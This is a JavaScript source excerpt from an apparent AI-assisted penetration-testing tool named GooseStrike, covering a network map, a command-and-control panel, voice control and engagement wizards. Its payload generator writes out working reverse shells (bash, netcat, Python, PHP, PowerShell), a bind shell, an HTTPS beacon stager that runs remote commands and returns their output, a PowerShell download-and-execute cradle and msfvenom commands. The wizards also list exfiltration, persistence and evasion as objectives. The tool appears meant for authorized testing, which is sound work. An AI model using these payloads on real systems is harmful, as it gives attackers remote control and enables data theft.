// Fix all node positions so they don't move
|
||
nodes.forEach(n => {
|
||
n.fx = n.x;
|
||
n.fy = n.y;
|
||
});
|
||
}, 2000);
|
||
|
||
// Draw links
|
||
const link = svg.append('g')
|
||
.selectAll('line')
|
||
.data(links)
|
||
.enter().append('line')
|
||
.attr('class', 'network-link')
|
||
.attr('stroke', '#3a3a3a')
|
||
.attr('stroke-width', 2);
|
||
|
||
// Draw nodes
|
||
const node = svg.append('g')
|
||
.selectAll('g')
|
||
.data(nodes)
|
||
.enter().append('g')
|
||
.attr('class', 'network-node')
|
||
.attr('data-ip', d => d.ip)
|
||
.style('cursor', 'pointer');
|
||
|
||
// Handle click separately from drag
|
||
let isDragging = false;
|
||
node.on('click', (event, d) => {
|
||
if (isDragging) {
|
||
isDragging = false;
|
||
return;
|
||
}
|
||
if (!d.isGateway) {
|
||
const host = this.networkHosts.find(h => h.ip === d.ip);
|
||
if (host) this.selectHost(host);
|
||
}
|
||
});
|
||
|
||
// Node circles
|
||
node.append('circle')
|
||
.attr('r', d => d.isGateway ? 35 : 30)
|
||
.attr('fill', d => d.isGateway ? '#1f1f1f' : '#2a2a2a')
|
||
.attr('stroke', d => d.isGateway ? '#dc2626' : '#3a3a3a')
|
||
.attr('stroke-width', 2);
|
||
|
||
// Device icons
|
||
node.append('text')
|
||
.attr('class', 'device-icon')
|
||
.attr('text-anchor', 'middle')
|
||
.attr('dy', '0.35em')
|
||
.text(d => this.getDeviceIcon(d.os_type));
|
||
|
||
// IP labels
|
||
node.append('text')
|
||
.attr('class', 'node-ip')
|
||
.attr('dy', 50)
|
||
.text(d => d.ip);
|
||
|
||
// Hostname labels
|
||
node.append('text')
|
||
.attr('class', 'node-label')
|
||
.attr('dy', 65)
|
||
.text(d => d.hostname || '');
|
||
|
||
// Update positions on tick
|
||
simulation.on('tick', () => {
|
||
link
|
||
.attr('x1', d => d.source.x)
|
||
.attr('y1', d => d.source.y)
|
||
.attr('x2', d => d.target.x)
|
||
.attr('y2', d => d.target.y);
|
||
|
||
node.attr('transform', d => `translate(${d.x},${d.y})`);
|
||
});
|
||
|
||
// Drag behavior - allows repositioning nodes
|
||
node.call(d3.drag()
|
||
.on('start', (event, d) => {
|
||
isDragging = false;
|
||
d.fx = d.x;
|
||
d.fy = d.y;
|
||
})
|
||
.on('drag', (event, d) => {
|
||
isDragging = true;
|
||
d.fx = event.x;
|
||
d.fy = event.y;
|
||
// Update position immediately
|
||
d.x = event.x;
|
||
d.y = event.y;
|
||
d3.select(event.sourceEvent.target.parentNode)
|
||
.attr('transform', `translate(${d.x},${d.y})`);
|
||
// Update connected links
|
||
link.filter(l => l.source.id === d.id || l.target.id === d.id)
|
||
.attr('x1', l => l.source.x)
|
||
.attr('y1', l => l.source.y)
|
||
.attr('x2', l => l.target.x)
|
||
.attr('y2', l => l.target.y);
|
||
})
|
||
.on('end', (event, d) => {
|
||
// Keep node fixed at dropped position
|
||
d.fx = d.x;
|
||
d.fy = d.y;
|
||
}));
|
||
},
|
||
|
||
// ============ C2 COMMAND & CONTROL FUNCTIONS ============
|
||
async createListener() {
|
||
if (!this.newListener.name || !this.newListener.port) return;
|
||
|
||
const listener = {
|
||
id: 'listener-' + Date.now(),
|
||
...this.newListener,
|
||
status: 'stopped',
|
||
connections: 0,
|
||
created_at: new Date().toLocaleString()
|
||
};
|
||
this.c2Listeners.push(listener);
|
||
this.showListenerModal = false;
|
||
this.newListener = { name: '', type: 'http', host: '0.0.0.0', port: 8443, protocol: 'HTTPS' };
|
||
|
||
this.terminalHistory.push({ type: 'info', content: `[C2] Created listener: ${listener.name} on ${listener.host}:${listener.port}` });
|
||
},
|
||
|
||
async toggleListener(listener) {
|
||
listener.status = listener.status === 'running' ? 'stopped' : 'running';
|
||
if (listener.status === 'running') {
|
||
listener.started_at = new Date().toLocaleString();
|
||
this.terminalHistory.push({ type: 'info', content: `[C2] Started listener: ${listener.name}` });
|
||
|
||
// Simulate agent callback for demo after 3 seconds
|
||
if (this.c2Agents.length === 0) {
|
||
setTimeout(() => this.simulateAgentCallback(listener), 3000);
|
||
}
|
||
} else {
|
||
this.terminalHistory.push({ type: 'info', content: `[C2] Stopped listener: ${listener.name}` });
|
||
}
|
||
},
|
||
|
||
deleteListener(id) {
|
||
const listener = this.c2Listeners.find(l => l.id === id);
|
||
if (listener) {
|
||
this.c2Listeners = this.c2Listeners.filter(l => l.id !== id);
|
||
this.terminalHistory.push({ type: 'info', content: `[C2] Deleted listener: ${listener.name}` });
|
||
}
|
||
},
|
||
|
||
simulateAgentCallback(listener) {
|
||
if (listener.status !== 'running') return;
|
||
|
||
const agent = {
|
||
id: 'agent-' + Date.now(),
|
||
hostname: ['WORKSTATION-01', 'DC01', 'FILESERVER', 'WEB-PROD'][Math.floor(Math.random() * 4)],
|
||
username: ['Administrator', 'SYSTEM', 'john.doe', 'svc_account'][Math.floor(Math.random() * 4)],
|
||
ip: `192.168.${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}`,
|
||
os: listener.type === 'http' ? 'Windows Server 2019' : 'Ubuntu 22.04',
|
||
arch: 'x64',
|
||
pid: Math.floor(Math.random() * 65535),
|
||
elevated: Math.random() > 0.5,
|
||
status: 'active',
|
||
sleep: 5,
|
||
last_seen: 'just now',
|
||
listener_id: listener.id
|
||
};
|
||
|
||
this.c2Agents.push(agent);
|
||
listener.connections++;
|
||
this.terminalHistory.push({
|
||
type: 'success',
|
||
content: `[C2] 🎯 New agent callback: ${agent.hostname} (${agent.ip}) as ${agent.username}${agent.elevated ? ' [ADMIN]' : ''}`
|
||
});
|
||
},
|
||
|
||
refreshAgents() {
|
||
this.c2Agents.forEach(agent => {
|
||
if (agent.status === 'active') {
|
||
agent.last_seen = 'just now';
|
||
}
|
||
});
|
||
},
|
||
|
||
interactAgent(agent) {
|
||
this.selectedAgent = agent;
|
||
this.activeTab = 'terminal';
|
||
this.terminalHistory.push({ type: 'info', content: `[C2] Interacting with agent: ${agent.hostname} (${agent.ip})` });
|
||
this.terminalHistory.push({ type: 'info', content: `[C2] Type commands to execute on the remote system` });
|
||
},
|
||
|
||
async taskAgent(agent, taskType, command = '') {
|
||
const task = {
|
||
id: 'task-' + Date.now(),
|
||
agent_id: agent.id,
|
||
agent_hostname: agent.hostname,
|
||
type: taskType,
|
||
command: command || taskType,
|
||
status: 'pending',
|
||
created_at: new Date().toLocaleString(),
|
||
output: null
|
||
};
|
||
|
||
this.c2Tasks.push(task);
|
||
this.terminalHistory.push({ type: 'info', content: `[C2] Queued task for ${agent.hostname}: ${task.command}` });
|
||
|
||
// Simulate task execution
|
||
setTimeout(() => {
|
||
task.status = 'running';
|
||
setTimeout(() => {
|
||
task.status = 'completed';
|
||
task.output = this.getSimulatedOutput(taskType, command, agent);
|
||
this.terminalHistory.push({ type: 'success', content: `[C2] Task completed on ${agent.hostname}: ${task.command}` });
|
||
}, 1000 + Math.random() * 2000);
|
||
}, 500);
|
||
},
|
||
|
||
getSimulatedOutput(taskType, command, agent) {
|
||
const outputs = {
|
||
'whoami': agent.elevated ? `${agent.hostname}\\${agent.username}\nMandatory Label\\High Mandatory Level` : agent.username,
|
||
'pwd': agent.os.includes('Windows') ? 'C:\\Users\\' + agent.username : '/home/' + agent.username.toLowerCase(),
|
||
'ps': `PID PPID Name\n${agent.pid} 1 beacon.exe\n4 0 System\n88 4 Registry\n392 4 smss.exe\n528 520 csrss.exe\n612 520 wininit.exe`,
|
||
'shell': `Executing: ${command}\n` + (command === 'whoami' ? agent.username : 'Command completed successfully')
|
||
};
|
||
return outputs[taskType] || outputs['shell'] || 'Task completed';
|
||
},
|
||
|
||
killAgent(agentId) {
|
||
const agent = this.c2Agents.find(a => a.id === agentId);
|
||
if (agent) {
|
||
agent.status = 'dead';
|
||
this.terminalHistory.push({ type: 'warning', content: `[C2] Killed agent: ${agent.hostname}` });
|
||
}
|
||
},
|
||
|
||
clearCompletedTasks() {
|
||
this.c2Tasks = this.c2Tasks.filter(t => t.status !== 'completed' && t.status !== 'failed');
|
||
},
|
||
|
||
refreshTasks() {
|
||
// In real implementation, this would poll the backend
|
||
},
|
||
|
||
generatePayload() {
|
||
const { type, lhost, lport, os, arch, format, encode, obfuscate } = this.payloadOptions;
|
||
|
||
if (!lhost || !lport) {
|
||
this.terminalHistory.push({ type: 'error', content: '[C2] LHOST and LPORT are required' });
|
||
return;
|
||
}
|
||
|
||
let payload = '';
|
||
|
||
switch(type) {
|
||
case 'reverse_shell':
|
||
if (os === 'linux') {
|
||
payload = `bash -i >& /dev/tcp/${lhost}/${lport} 0>&1`;
|
||
} else if (os === 'windows') {
|
||
payload = `powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('${lhost}',${lport});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"`;
|
||
} else {
|
||
payload = `python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("${lhost}",${lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'`;
|
||
}
|
||
break;
|
||
case 'beacon':
|
||
payload = `# HTTP Beacon Stager\n# Target: ${lhost}:${lport}\n\nimport urllib.request\nimport base64\nimport ssl\n\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\n\nwhile True:\n try:\n req = urllib.request.Request(f"https://${lhost}:${lport}/beacon")\n resp = urllib.request.urlopen(req, context=ctx)\n cmd = base64.b64decode(resp.read()).decode()\n if cmd:\n import subprocess\n out = subprocess.check_output(cmd, shell=True)\n urllib.request.urlopen(\n urllib.request.Request(f"https://${lhost}:${lport}/results", data=base64.b64encode(out)),\n context=ctx\n )\n except: pass\n import time; time.sleep(5)`;
|
||
break;
|
||
case 'meterpreter':
|
||
payload = `# MSFVenom Command:\nmsfvenom -p ${os === 'windows' ? 'windows/x64/meterpreter/reverse_tcp' : 'linux/x64/meterpreter/reverse_tcp'} LHOST=${lhost} LPORT=${lport} -f ${format === 'exe' ? 'exe' : format === 'elf' ? 'elf' : 'raw'} -o payload.${format === 'exe' ? 'exe' : format === 'elf' ? 'elf' : 'bin'}\n\n# Handler:\nmsfconsole -q -x "use exploit/multi/handler; set PAYLOAD ${os === 'windows' ? 'windows/x64/meterpreter/reverse_tcp' : 'linux/x64/meterpreter/reverse_tcp'}; set LHOST ${lhost}; set LPORT ${lport}; run"`;
|
||
break;
|
||
case 'powershell':
|
||
payload = `# PowerShell Download Cradle\npowershell -ep bypass -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://${lhost}:${lport}/shell.ps1')"\n\n# Base64 Encoded Version:\n$cmd = 'IEX(New-Object Net.WebClient).DownloadString(''http://${lhost}:${lport}/shell.ps1'')'\n[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))`;
|
||
break;
|
||
case 'python':
|
||
payload = `import socket,subprocess,os\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("${lhost}",${lport}))\nos.dup2(s.fileno(),0)\nos.dup2(s.fileno(),1)\nos.dup2(s.fileno(),2)\nsubprocess.call(["/bin/sh","-i"])`;
|
||
break;
|
||
case 'bind_shell':
|
||
if (os === 'linux') {
|
||
payload = `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -lvnp ${lport} >/tmp/f`;
|
||
} else {
|
||
payload = `# Windows Bind Shell (PowerShell)\n$listener = [System.Net.Sockets.TcpListener]${lport}\n$listener.Start()\n$client = $listener.AcceptTcpClient()\n$stream = $client.GetStream()\n$writer = New-Object System.IO.StreamWriter($stream)\n$reader = New-Object System.IO.StreamReader($stream)\nwhile($client.Connected) {\n $writer.Write("PS " + (pwd).Path + "> ")\n $writer.Flush()\n $cmd = $reader.ReadLine()\n $output = iex $cmd 2>&1 | Out-String\n $writer.WriteLine($output)\n}`;
|
||
}
|
||
break;
|
||
default:
|
||
payload = `# ${type} payload for ${os} ${arch}\n# Connect back to ${lhost}:${lport}`;
|
||
}
|
||
|
||
if (encode && format === 'base64') {
|
||
payload = btoa(payload);
|
||
}
|
||
|
||
this.generatedPayload = payload;
|
||
this.terminalHistory.push({ type: 'success', content: `[C2] Generated ${type} payload for ${os}/${arch}` });
|
||
},
|
||
|
||
quickPayload(type) {
|
||
const lhost = this.payloadOptions.lhost || '10.10.14.1';
|
||
const lport = this.payloadOptions.lport || 4444;
|
||
|
||
const payloads = {
|
||
'bash_reverse': `bash -i >& /dev/tcp/${lhost}/${lport} 0>&1`,
|
||
'nc_reverse': `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${lhost} ${lport} >/tmp/f`,
|
||
'python_reverse': `python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("${lhost}",${lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'`,
|
||
'powershell_reverse': `powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('${lhost}',${lport});$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()}"`,
|
||
'php_reverse': `php -r '$s=fsockopen("${lhost}",${lport});exec("/bin/sh -i <&3 >&3 2>&3");'`,
|
||
'msfvenom': `# Meterpreter Reverse TCP\nmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=${lhost} LPORT=${lport} -f exe -o shell.exe\n\n# Linux Reverse Shell\nmsfvenom -p linux/x64/shell_reverse_tcp LHOST=${lhost} LPORT=${lport} -f elf -o shell.elf\n\n# Web Payloads\nmsfvenom -p php/reverse_php LHOST=${lhost} LPORT=${lport} -o shell.php\nmsfvenom -p java/jsp_shell_reverse_tcp LHOST=${lhost} LPORT=${lport} -o shell.jsp`
|
||
};
|
||
|
||
this.generatedPayload = payloads[type] || '';
|
||
},
|
||
|
||
copyPayload() {
|
||
if (this.generatedPayload) {
|
||
navigator.clipboard.writeText(this.generatedPayload);
|
||
this.terminalHistory.push({ type: 'info', content: '[C2] Payload copied to clipboard' });
|
||
}
|
||
},
|
||
|
||
downloadPayload() {
|
||
if (!this.generatedPayload) return;
|
||
const blob = new Blob([this.generatedPayload], { type: 'text/plain' });
|
||
const url = URL.createObjectURL(blob);
|
||
const a = document.createElement('a');
|
||
a.href = url;
|
||
a.download = `payload.${this.payloadOptions.format || 'txt'}`;
|
||
a.click();
|
||
URL.revokeObjectURL(url);
|
||
},
|
||
|
||
sendToTerminal() {
|
||
if (this.generatedPayload) {
|
||
this.terminalInput = this.generatedPayload.split('\n')[0];
|
||
this.activeTab = 'terminal';
|
||
}
|
||
},
|
||
|
||
// ==========================================
|
||
// Voice Control Functions
|
||
// ==========================================
|
||
initVoice() {
|
||
if (!this.voiceSupported) return;
|
||
|
||
const SpeechRecognition = window.SpeechRecognition || window.webkitSpeechRecognition;
|
||
this.speechRecognition = new SpeechRecognition();
|
||
this.speechRecognition.continuous = false;
|
||
this.speechRecognition.interimResults = true;
|
||
this.speechRecognition.lang = 'en-US';
|
||
|
||
this.speechRecognition.onstart = () => {
|
||
this.voiceState = 'listening';
|
||
this.voiceTranscript = '';
|
||
};
|
||
|
||
this.speechRecognition.onresult = (event) => {
|
||
let transcript = '';
|
||
for (let i = event.resultIndex; i < event.results.length; i++) {
|
||
transcript += event.results[i][0].transcript;
|
||
}
|
||
this.voiceTranscript = transcript;
|
||
if (event.results[event.results.length - 1].isFinal) {
|
||
this.processVoiceCommand(transcript);
|
||
}
|
||
};
|
||
|
||
this.speechRecognition.onerror = (event) => {
|
||
console.error('Voice recognition error:', event.error);
|
||
this.voiceState = 'idle';
|
||
this.terminalHistory.push({ type: 'error', content: `[Voice] Error: ${event.error}` });
|
||
};
|
||
|
||
this.speechRecognition.onend = () => {
|
||
if (this.voiceState === 'listening') {
|
||
this.voiceState = 'idle';
|
||
}
|
||
};
|
||
},
|
||
|
||
toggleVoice() {
|
||
if (!this.voiceSupported) {
|
||
alert('Voice recognition is not supported in this browser');
|
||
return;
|
||
}
|
||
|
||
if (!this.speechRecognition) {
|
||
this.initVoice();
|
||
}
|
||
|
||
if (this.voiceState === 'idle') {
|
||
this.speechRecognition.start();
|
||
} else if (this.voiceState === 'listening') {
|
||
this.speechRecognition.stop();
|
||
this.voiceState = 'idle';
|
||
}
|
||
},
|
||
|
||
// Alias methods for voice control buttons
|
||
toggleVoiceRecording() {
|
||
this.toggleVoice();
|
||
},
|
||
|
||
startVoiceRecording() {
|
||
if (!this.voiceSupported) return;
|
||
if (!this.speechRecognition) this.initVoice();
|
||
if (this.voiceState === 'idle') {
|
||
this.speechRecognition.start();
|
||
}
|
||
},
|
||
|
||
stopVoiceRecording() {
|
||
if (this.speechRecognition && this.voiceState === 'listening') {
|
||
this.speechRecognition.stop();
|
||
this.voiceState = 'idle';
|
||
}
|
||
},
|
||
|
||
async processVoiceCommand(transcript) {
|
||
this.voiceState = 'processing';
|
||
this.terminalHistory.push({ type: 'info', content: `[Voice] Heard: "${transcript}"` });
|
||
|
||
// Simple voice command parsing
|
||
const cmd = transcript.toLowerCase().trim();
|
||
|
||
if (cmd.includes('scan') && (cmd.includes('network') || cmd.includes('target'))) {
|
||
this.userInput = `Scan the target network for open ports`;
|
||
await this.sendMessage();
|
||
} else if (cmd.includes('help') || cmd.includes('what can you do')) {
|
||
this.showHelpPanel = true;
|
||
} else if (cmd.includes('terminal') || cmd.includes('shell')) {
|
||
this.activeTab = 'terminal';
|
||
} else if (cmd.includes('c2') || cmd.includes('command and control')) {
|
||
this.activeTab = 'c2';
|
||
} else if (cmd.includes('findings') || cmd.includes('vulnerabilities')) {
|
||
this.activeTab = 'findings';
|
||
} else {
|
||
// Send as chat message
|
||
this.userInput = transcript;
|
||
await this.sendMessage();
|
||
}
|
||
|
||
this.voiceState = 'idle';
|
||
},
|
||
|
||
speak(text) {
|
||
if ('speechSynthesis' in window) {
|
||
this.voiceState = 'speaking';
|
||
const utterance = new SpeechSynthesisUtterance(text);
|
||
utterance.rate = 1.0;
|
||
utterance.pitch = 1.0;
|
||
utterance.onend = () => {
|
||
this.voiceState = 'idle';
|
||
};
|
||
speechSynthesis.speak(utterance);
|
||
}
|
||
},
|
||
|
||
// ==========================================
|
||
// Wizard Functions
|
||
// ==========================================
|
||
startWizard(type = 'mission_planning') {
|
||
this.wizardType = type;
|
||
this.wizardStep = 1;
|
||
this.wizardData = {};
|
||
|
||
const wizardConfigs = {
|
||
'first_time': {
|
||
title: '🦆 Welcome to GooseStrike',
|
||
steps: [
|
||
{
|
||
title: 'Set Your First Target',
|
||
description: 'Enter the IP address or hostname of your authorized target.',
|
||
fields: [
|
||
{ name: 'target', label: 'Target IP/Hostname', type: 'text', placeholder: '10.10.10.1 or target.htb' },
|
||
{ name: 'scope', label: 'Engagement Scope', type: 'select', options: [
|
||
{ value: 'single', label: 'Single Host' },
|
||
{ value: 'subnet', label: 'Subnet/Range' },
|
||
{ value: 'web', label: 'Web Application' }
|
||
]}
|
||
],
|
||
tips: ['Always ensure you have proper authorization', 'Start with passive recon before active scanning']
|
||
},
|
||
{
|
||
title: 'Choose Your Approach',
|
||
description: 'Select how you want to begin the engagement.',
|
||
fields: [
|
||
{ name: 'approach', label: 'Initial Approach', type: 'select', options: [
|
||
{ value: 'stealth', label: 'Stealth (Slow, low noise)' },
|
||
{ value: 'balanced', label: 'Balanced (Normal speed)' },
|
||
{ value: 'aggressive', label: 'Aggressive (Fast, noisy)' }
|
||
]},
|
||
{ name: 'focus', label: 'Primary Focus', type: 'select', options: [
|
||
{ value: 'infrastructure', label: 'Infrastructure' },
|
||
{ value: 'web', label: 'Web Applications' },
|
||
{ value: 'ad', label: 'Active Directory' }
|
||
]}
|
||
],
|
||
tips: ['Stealth mode uses timing and technique evasion', 'CTF/Labs can use aggressive mode']
|
||
},
|
||
{
|
||
title: 'Ready to Strike!',
|
||
description: 'Review your configuration and start your engagement.',
|
||
fields: [],
|
||
tips: ['GooseStrike will guide you through each phase', 'Use the AI chat for real-time assistance', 'All commands are logged for your report']
|
||
}
|
||
]
|
||
},
|
||
'mission_planning': {
|
||
title: '🎯 Mission Planning',
|
||
steps: [
|
||
{
|
||
title: 'Define Your Target',
|
||
description: 'Specify the target scope for this mission.',
|
||
fields: [
|
||
{ name: 'target', label: 'Target', type: 'text', placeholder: 'IP, hostname, or CIDR range' },
|
||
{ name: 'name', label: 'Mission Name', type: 'text', placeholder: 'Operation Honeybadger' }
|
||
],
|
||
tips: ['Use descriptive mission names for report clarity']
|
||
},
|
||
{
|
||
title: 'Set Objectives',
|
||
description: 'What are you trying to achieve?',
|
||
fields: [
|
||
{ name: 'objective', label: 'Primary Objective', type: 'select', options: [
|
||
{ value: 'foothold', label: 'Gain Initial Foothold' },
|
||
{ value: 'privesc', label: 'Privilege Escalation' },
|
||
{ value: 'data', label: 'Data Exfiltration' },
|
||
{ value: 'persistence', label: 'Establish Persistence' },
|
||
{ value: 'full', label: 'Full Compromise' }
|
||
]},
|
||
{ name: 'notes', label: 'Additional Notes', type: 'textarea', placeholder: 'Any specific requirements...' }
|
||
]
|
||
},
|
||
{
|
||
title: 'Configure Constraints',
|
||
description: 'Set any operational constraints.',
|
||
fields: [
|
||
{ name: 'timeLimit', label: 'Time Limit', type: 'select', options: [
|
||
{ value: 'none', label: 'No Limit' },
|
||
{ value: '1h', label: '1 Hour' },
|
||
{ value: '4h', label: '4 Hours' },
|
||
{ value: '24h', label: '24 Hours' }
|
||
]},
|
||
{ name: 'noisy', label: 'Noise Level', type: 'select', options: [
|
||
{ value: 'quiet', label: 'Quiet (Evade detection)' },
|
||
{ value: 'normal', label: 'Normal' },
|
||
{ value: 'loud', label: 'Loud (Speed priority)' }
|
||
]}
|
||
]
|
||
}
|
||
]
|
||
},
|
||
'guided_tour': {
|
||
title: '🦆 GooseStrike Tour',
|
||
steps: [
|
||
{
|
||
title: 'The Command Center',
|
||
description: 'This is your AI-powered penetration testing assistant. Ask questions, get recommendations, and let GooseStrike guide your engagement.',
|
||
fields: [],
|
||
tips: ['Type natural language commands', 'Ask for tool recommendations', 'Request explanations of findings']
|
||
},
|
||
{
|
||
title: 'Phase-Based Workflow',
|
||
description: 'The left sidebar shows the penetration testing phases: Recon → Scanning → Vuln Assessment → Exploitation → Post-Exploitation.',
|
||
fields: [],
|
||
tips: ['Click a phase to see relevant tools', 'Quick actions are available for common tasks', 'The AI adapts recommendations to your current phase']
|
||
},
|
||
{
|
||
title: 'Terminal & Network Map',
|
||
description: 'Execute commands directly in the Terminal tab. View discovered hosts and their relationships in the Network tab.',
|
||
fields: [],
|
||
tips: ['Commands run in an isolated Kali container', 'Network map updates automatically', 'Click hosts to see details']
|
||
},
|
||
{
|
||
title: 'C2 Framework',
|
||
description: 'The C2 tab provides command and control capabilities: manage listeners, track agents, and generate payloads.',
|
||
fields: [],
|
||
tips: ['Supports multiple listener types', 'Generate reverse shells quickly', 'Task agents with commands']
|
||
}
|
||
]
|
||
},
|
||
'first_time_setup': {
|
||
title: '🚀 First Time Setup',
|
||
steps: [
|
||
{
|
||
title: 'Welcome to GooseStrike!',
|
||
description: 'Let\'s get you set up with your first penetration testing project.',
|
||
fields: [
|
||
{ name: 'projectName', label: 'Project Name', type: 'text', placeholder: 'My First Pentest' }
|
||
],
|
||
tips: ['Projects help organize your findings', 'All data is saved per-project']
|
||
},
|
||
{
|
||
title: 'Configure Your Target',
|
||
description: 'Enter the target you have authorization to test.',
|
||
fields: [
|
||
{ name: 'target', label: 'Target IP/Hostname', type: 'text', placeholder: '10.10.10.1 or target.htb' },
|
||
{ name: 'scope', label: 'Scope Type', type: 'select', options: [
|
||
{ value: 'single', label: 'Single Host' },
|
||
{ value: 'network', label: 'Network Range' },
|
||
{ value: 'webapp', label: 'Web Application' }
|
||
]}
|
||
],
|
||
tips: ['⚠️ Only test systems you own or have explicit permission to test']
|
||
},
|
||
{
|
||
title: 'You\'re All Set!',
|
||
description: 'GooseStrike is ready. Here\'s how to get started:',
|
||
fields: [],
|
||
tips: ['Use the AI Chat to ask questions', 'Terminal tab runs commands in Kali', 'Network tab shows discovered hosts', 'Check the CTF Agent tab for capture-the-flag help']
|
||
}
|
||
]
|
||
},
|
||
'run_scan': {
|
||
title: '🔍 Scan Wizard',
|
||
steps: [
|
||
{
|
||
title: 'Select Scan Type',
|
||
description: 'Choose the type of scan to run.',
|
||
fields: [
|
||
{ name: 'scanType', label: 'Scan Type', type: 'select', options: [
|
||
{ value: 'quick', label: 'Quick Scan (Top 100 ports)' },
|
||
{ value: 'full', label: 'Full Port Scan (All 65535)' },
|
||
{ value: 'service', label: 'Service Version Detection' },
|
||
{ value: 'vuln', label: 'Vulnerability Scan' },
|
||
{ value: 'stealth', label: 'Stealth Scan (SYN)' }
|
||
]}
|
||
],
|
||
tips: ['Quick scans are faster but may miss ports', 'Service detection helps identify exploits']
|
||
},
|
||
{
|
||
title: 'Enter Target',
|
||
description: 'Specify what to scan.',
|
||
fields: [
|
||
{ name: 'target', label: 'Target', type: 'text', placeholder: '10.10.10.1 or 10.10.10.0/24' },
|
||
{ name: 'ports', label: 'Specific Ports (optional)', type: 'text', placeholder: '22,80,443,8080' }
|
||
],
|
||
tips: ['CIDR notation for network ranges', 'Leave ports blank for default']
|
||
},
|
||
{
|
||
title: 'Ready to Scan',
|
||
description: 'Review and start your scan.',
|
||
fields: [],
|
||
tips: ['Results appear in the Network tab', 'Click hosts to see details and exploits']
|
||
}
|
||
]
|
||
},
|
||
'create_operation': {
|
||
title: '📋 New Operation',
|
||
steps: [
|
||
{
|
||
title: 'Operation Details',
|
||
description: 'Set up your new operation/engagement.',
|
||
fields: [
|
||
{ name: 'name', label: 'Operation Name', type: 'text', placeholder: 'Operation Thunderstrike' },
|
||
{ name: 'client', label: 'Client/Target Org', type: 'text', placeholder: 'ACME Corp' }
|
||
],
|
||
tips: ['Use codenames for operational security']
|
||
},
|
||
{
|
||
title: 'Scope & Rules',
|
||
description: 'Define the engagement scope.',
|
||
fields: [
|
||
{ name: 'inScope', label: 'In-Scope Targets', type: 'textarea', placeholder: '10.10.10.0/24\nweb.target.com' },
|
||
{ name: 'outOfScope', label: 'Out-of-Scope', type: 'textarea', placeholder: 'production.target.com\n10.10.20.0/24' }
|
||
],
|
||
tips: ['Document scope clearly', 'Stay within authorized boundaries']
|
||
},
|
||
{
|
||
title: 'Timeline',
|
||
description: 'Set operation timeline.',
|
||
fields: [
|
||
{ name: 'startDate', label: 'Start Date', type: 'text', placeholder: 'YYYY-MM-DD' },
|
||
{ name: 'endDate', label: 'End Date', type: 'text', placeholder: 'YYYY-MM-DD' },
|
||
{ name: 'testingWindow', label: 'Testing Window', type: 'select', options: [
|
||
{ value: '24x7', label: '24/7 Testing Allowed' },
|
||
{ value: 'business', label: 'Business Hours Only' },
|
||
{ value: 'offhours', label: 'Off-Hours Only' }
|
||
]}
|
||
],
|
||
tips: ['Respect testing windows', 'Coordinate with client']
|
||
}
|
||
]
|
||
}
|
||
};
|
||
|
||
const config = wizardConfigs[type] || wizardConfigs['mission_planning'];
|
||
this.wizardTitle = config.title;
|
||
this.wizardSteps = config.steps;
|
||
this.showWizardModal = true;
|
||
},
|
||
|
||
completeWizard() {
|
||
this.showWizardModal = false;
|
||
|
||
if (this.wizardType === 'first_time' || this.wizardType === 'mission_planning' || this.wizardType === 'first_time_setup') {
|
||
// Apply wizard configuration
|
||
if (this.wizardData.target) {
|
||
this.userInput = `Start reconnaissance on ${this.wizardData.target}`;
|
||
this.sendMessage();
|
||
}
|
||
if (this.wizardData.projectName) {
|
||
this.terminalHistory.push({ type: 'success', content: `[Wizard] Project "${this.wizardData.projectName}" configured` });
|
||
} else {
|
||
this.terminalHistory.push({ type: 'success', content: `[Wizard] Mission configured: ${this.wizardData.name || 'New Mission'}` });
|
||
}
|
||
} else if (this.wizardType === 'run_scan') {
|
||
// Execute scan based on wizard data
|
||
if (this.wizardData.target) {
|
||
const scanTypes = {
|
||
'quick': '-sT --top-ports 100',
|
||
'full': '-sT -p-',
|
||
'service': '-sV',
|
||
'vuln': '-sV --script vuln',
|
||
'stealth': '-sS'
|
||
};
|
||
const scanArgs = scanTypes[this.wizardData.scanType] || '-sT';
|
||
const ports = this.wizardData.ports ? `-p ${this.wizardData.ports}` : '';
|
||
const cmd = `nmap ${scanArgs} ${ports} ${this.wizardData.target}`;
|
||
this.terminalInput = cmd;
|
||
this.executeCommand();
|
||
this.terminalHistory.push({ type: 'success', content: `[Wizard] Scan started: ${this.wizardData.scanType}` });
|
||
}
|
||
} else if (this.wizardType === 'create_operation') {
|
||
// Create operation/project
|
||
if (this.wizardData.name) {
|
||
this.newProject.name = this.wizardData.name;
|
||
this.newProject.description = `Client: ${this.wizardData.client || 'N/A'}\nIn-scope: ${this.wizardData.inScope || ''}\nOut-of-scope: ${this.wizardData.outOfScope || ''}`;
|
||
this.newProject.target_network = this.wizardData.inScope?.split('\n')[0] || '';
|
||
